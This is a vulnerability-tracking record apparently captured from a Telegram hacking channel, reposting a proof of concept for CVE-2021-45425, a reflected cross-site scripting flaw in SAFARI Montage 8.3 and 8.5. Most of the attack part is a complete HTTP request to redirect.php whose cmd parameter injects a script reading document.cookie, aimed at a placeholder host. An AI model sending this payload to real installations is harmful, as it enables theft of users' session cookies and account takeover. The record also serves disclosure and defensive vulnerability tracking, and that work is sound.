{"uuid": "81a41c7d-7005-4f2f-9764-18d5a3c48f0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-45425", "type": "seen", "source": "https://t.me/hacking_Attack/37560", "content": "Exploit Collector\nSafari Montage 8.5 Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-f53oTn8LDZ0/WWlvMw9CK1I/AAAAAAAAIMU/jEtmPtbvTXsSkP0BJUzx6KZQIUlovIO9gCLcBGAs/s1600/h20.png \nSafari Montage version 8.5 suffers from a cross site scripting vulnerability.\n\nMD5 | 4f650c4f8f144a943aa4f0d6ed44f6d7\n\nDownload\n# Exploit Title: SAFARI Montage 8.5 - Reflected Cross Site Scripting (XSS)\n# Date: 28/12/2021\n# Exploit Author: Momen Eldawakhly - Cyber Guy - (Resecurity Inc)\n# Vendor Homepage: https://www.safarimontage.com/\n# Version: 8.3 and 8.5\n# Tested on: Ubuntu Linux [Firefox]\n# CVE: CVE-2021-45425\n\n# Proof of Concept:\n\nGET /redirect.php?cmd=invalid%27%22()%26%25%3C/body%3E%3CScRiPt%3Ealert(document.cookie)%3C/ScRiPt%3E&ret=3 HTTP/1.1\nHost: vulnIP\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: PHPSESSID=SSSION; lang=en\nConnection: close\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:22.963735Z"}